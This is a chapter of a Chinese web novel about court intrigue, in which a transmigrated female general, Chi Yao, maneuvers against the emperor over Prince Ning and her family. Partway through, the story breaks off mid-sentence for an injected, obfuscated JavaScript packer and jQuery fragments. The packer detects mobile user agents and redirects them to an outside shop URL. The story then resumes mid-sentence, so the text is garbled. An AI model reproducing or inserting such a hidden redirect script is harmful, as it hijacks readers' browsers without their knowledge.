“不劳苏将军操心,本王的腿上的伤,就是宫里的御医都无法子医治。”
闻声,池瑶不由的轻嗤一声,“宫里那些庸医究竟是没法子治,还是不敢治想来王爷心中应该有成算才对。”
若无皇帝授意,太医哪敢如此敷衍了事。
她不信宁王不明白这一点,也是...只要这位正值壮年的王爷伤了根本,日后没了子嗣,哪怕他军权在握皇帝也能在京中高枕无忧。
毕竟一个形同太监身有残疾的王爷凭什么争那九五之尊的宝尊?又有谁会追随这样的主子去争那从龙之功,争到手里又能有什么用?
“苏将军慎言!”
裴瑾言的语气里明显多了一层怒意,池瑶不以为意的冷笑一声,朝园外的家丁道:“送王爷出府,另外备上一辆马车,在京郊外的景安寺将王爷放下。”
“是。”
说罢,池瑶收好密信抬腿就走,这世上能让她主动相帮的人并不多,若非宁王于苏家有恩,又是皇帝的‘敌人’,她才不会多管闲事。
只是如今这人并不领情,那她也没有必要上赶着讨好对方。
*
用完晚膳,池瑶将密信给了苏雁北。
“父亲早年就言京中是非多,你还未及笄就将你带去了西北,虽对外言舍不得家中幼女,其实便是不想你卷入京中的暗流中。”
苏雁北直直地盯着桌案上的密信,眉头拧成了个川字,“当今陛下还是皇子时,宫中太后就有意为你二人赐婚,当年亦是宁王知父亲不愿参与皇家党争,得了消息后就知会了父亲。”
没等苏雁北说完,池瑶径直道:“如今咱们的这位陛下怕是还记得当年父亲不受拉拢之仇呢。”
“眼下苏家势大,陛下必定忌惮,所以这也是父亲祖父常年征战在外不肯回京的缘故。”
新帝根基还未稳,苏家在外皇帝自会担心将在外不受皇权控制,可若是他们一家都在京城,当今怕会寝食难安,帝王卧榻之侧岂容他人鼾睡。
“祖父如今年事已高,”
池瑶意有所指的看了眼主位上愁眉不展的苏雁北,现如今苏家在外风光无限,也只有他们自己明白苏家所面对的困境,“也应当回京颐养天年了。”
“京城这般光景,祖父若是回来,怕是...”
苏雁北欲言又止的看了眼池瑶,“瑶儿可是有什么想法?”
池瑶微微扬眉,眸光直直地对向上方端坐着的男人,“大哥可知宁王为何到这般年岁还不成婚?”
“这...许是没遇到心仪之人...”
苏雁北这句话说得磕磕绊绊,显然这说辞自己都无法说服自己相信。
“莫说同宁王年岁相当的王公贵族,就是同当今圣上年岁一般的皇子,府上都已三妻四妾成群,嫡子庶子无数,只有宁王一人形单影只,孤身一人,背后所为何事大哥难道真不清楚?”
还能因为何事,当然是因为其他王爷们在京只是个知贪图享乐的闲散王爷,徒有虚名并无实权。
而宁王则不同,宁王不论是府上私兵也好,在外的北境军也好,那是已故的太上皇都忌惮的存在。
宁王手底下的兵都是实打实跟着他南征北战的将士,一如镇北军一般只听镇北侯调遣。
“宁王躲过了先帝的暗箭,却没躲过当今的算计,宁王的腿疾怕是子嗣有碍。”
“什,什么?!”苏雁北在震惊过后,这才看向池瑶,“此事如此私密,你是从何得知?”
“....”
池瑶顿了顿,这事确实是她猜测,但以今日宁王的表现和护卫的反应,此事八九不离十。
没跟苏雁北在此事上多纠缠,转而道:“宁王作为他们皇家人,今日这般的下场,大哥也瞧见了,大哥作为镇北侯世子,怕是要尽早为苏家日后做打算...”
“.....”
闻言,苏雁北彻底的沉默了下去,眼下的时局就如池瑶所说早已不是父亲与祖父不参与党争就能全身而退,“容我想想罢。”
见此,池瑶点了点头,要想‘逼’苏家造反,光靠言语间的游说可不够,毕竟苏家满门上下几百条人命都在他们手中,不可能因为她挑拨离间的几句话就脑子一热去掀翻这个王朝。
只有其被逼到绝境,横也是一刀,竖也是一刀,才会不顾一切拼尽全力的反击。
反也是死,不反也是死,又有谁会真真正正的坐在那儿傻傻的等死?
临走前,池瑶背对着男人,淡淡道:“大哥,有句老话说得好,只有千日做贼的人,哪有千日防贼的人?”
虽然知道光靠说没用,但也不妨碍她时不时的给苏雁北上眼药。
室内一阵沉默过后,苏雁北盯着眼前人火红的背影眼梢微沉,眸子里带上了一丝凌人的盛气,“瑶儿这次回来,性情似是变了许多。”
听出身后人话里藏着的深意,池瑶毫不畏惧的转身对上人凌厉的双眸,坦然道:“苏瑶毕生夙愿是护家卫国,不求苏家兴盛不衰,只求庇佑族人安宁顺遂,大辰百姓免受战乱之苦。”
此言并非她作假,而是苏瑶内心里最真实的愿望。
闻声,那意气风发的少年将军眼底凌人的煞气不复存在,只定定的看着眼那张熟悉不已的脸,“我...”
“苏瑶不想苏家满门几百条人命沦为皇权争斗的灰齑。”
池瑶扔下这么一句话,抬腿就走,凭什么要因为无脑的天子一怒,无辜平民就得伏尸百万?只因是一方小世界,所以就能全是无所谓的‘炮灰’?
男主踏着苏家人的血,踩着苏家人堆成山高的尸骨直奔青云路的时候,夜里真的能睡得着?就不怕皇帝哪天卸磨杀驴,死无葬身之地。
她从来不担心自己并非‘苏瑶’的身份暴露,她与苏瑶性子本就是两个极端,哪怕有些许的相似也改变不了现在躯体里的灵魂不是苏瑶的事实。
伪装的再像,假货就是假货。
就像苏清莲一样,原主的妹妹尚能为族人因自己惨死而悔悟,但现在的那位恋爱脑爱男女苏清莲显然不会。
再者她是有野心的人,有些事尽早的摊开,对她来说也不是坏事。
*
一连好几日,池瑶都没再见到苏雁北。
苏清莲被禁足在自己院子里,秦月云日日请女红师父前去‘教导’,有秦月云盯着那恋爱脑,池瑶倒不担心别的。
而苏雁北,在这个世界里,这种身子里突然换了芯子的事,恐怕只能用被夺舍来解释,而苏家还一连两位小姐都被孤魂野鬼给夺舍了。
她自然也理解现在的那位兄长,任谁都无法接受自己最疼爱的两个妹妹都已经没了事实,而来的另一个妹妹明显脑子有问题,关键是他还不能杀不能囚,毕竟那具身子还是他所熟悉的妹妹。
至于她...苏雁北早晚有一天会想通她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118169|195385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所作所为究竟是害苏家还是在救苏家。
在这个世界待了这么多天,池瑶动了动有些僵硬的身子骨,或许是时候该回西北谋划谋划别的事了。
池瑶正盘算着该怎么应对那位固执的老侯爷,外院就想起了青袖着急忙慌的声音,“将军,将军,宫里来人了。”
“宫里来人了你急个什么?”
皇帝又不能现在就对镇北侯府动手。
池瑶没好气的斜了人一眼,“让他们等着,我去换身衣服。”
原主鲜少回京,生母又早逝,府上祖母不管事,秦月云这个长嫂也不了解原主的衣食住行习惯,只能按着京中年岁相当的女子行头安置,尽是些鹅黄,浅粉,艾绿,藕荷色系的衣裳裙装。
这也就导致她现在每天能选的只有苏瑶从西北带回来的骑装劲装。
“这...将军,会不会不太好,”
青袖欲言又止的看着人,小声道:“世子夫人说来人是皇后宫里的掌事女官。”
当年侯爷带将军远走西北就是为了躲避进皇家,如今回来不过四五日的功夫,皇后宫里就来了人,焉知宫里那位作的是何打算。
池瑶脚下步子一顿,“皇后宫里的人?”
“世子夫人说是。”
她们并不在京中走动,是以京城中的人多数都不甚熟悉,这次宫里来了人,世子夫人作为府上当家女眷,自然要出来迎的。
“皇后...”
池瑶心下沉了沉,这次回京怕是再难回西北了,思及此脸色不由得冷了几分,“让她们等着,本将军还不能刚练完武,还不能去换身衣裳?”
“是。”
青袖利落的转身去了前厅。
池瑶回房思忖片刻后,随手选了条石青色暗纹罗裙,裙摆上银线绣着繁杂的缠枝莲纹,长裙映着光衬得脸上肌肤倒有了丝白皙之意,彰显女儿家温婉的同时也不失女将的飒爽。
前厅传话的掌事姑姑喝了好几盏茶,眉眼间不耐之色尽显时,一抹身影才大步流星的朝前厅走来。
“嫂嫂...”
秦月云脸上挂着的笑都快要僵了,见着池瑶连忙朝人介绍道身边那位等的不耐烦的姑嬷嬷,“这位是皇后宫中的掌事嬷嬷,孙嬷嬷...”
“孙嬷嬷...”
池瑶稍稍点了点头,并未因她是皇后宫里的人就对起行礼。
孙嬷嬷见状满是褶子的老脸微微颤了颤,眼角的细纹都跟着微微抽了抽,“常听闻苏家姑娘教养得体,没曾想这苏家大姑娘...是这般的得体。”
闻言,秦月云脸上神色微微变了变,方才观其进门那副趾高气昂的姿态,便知道今日来者不善,不想只这见面的功夫便开始刁难上了,“姑姑不知...”
没等秦月云将话说完,池瑶自顾自的往边上的椅子上大马金刀的落了坐,“孙嬷嬷既是宫里的老人,想也更懂京中各路官员的职位品级,不知家父镇北侯见着孙嬷嬷,是不是还要家父向嬷嬷您行参拜大礼?”
孙嬷嬷吊梢斜眼的嘴脸霎时褪了下去,她再是后宫得脸得女官,也不可能狂妄到让大将军给她行礼参拜,“你不过闺阁中的姑娘家罢了!怎能同侯爷做比!?”
话音落下。
站在池瑶边上的青袖见状,不由得高声呵斥道:“我家大小姐虽不能同侯爷作比,可她乃先帝钦定的镇北军女将,你是何品级竟敢要镇北军女将给你行大礼!?”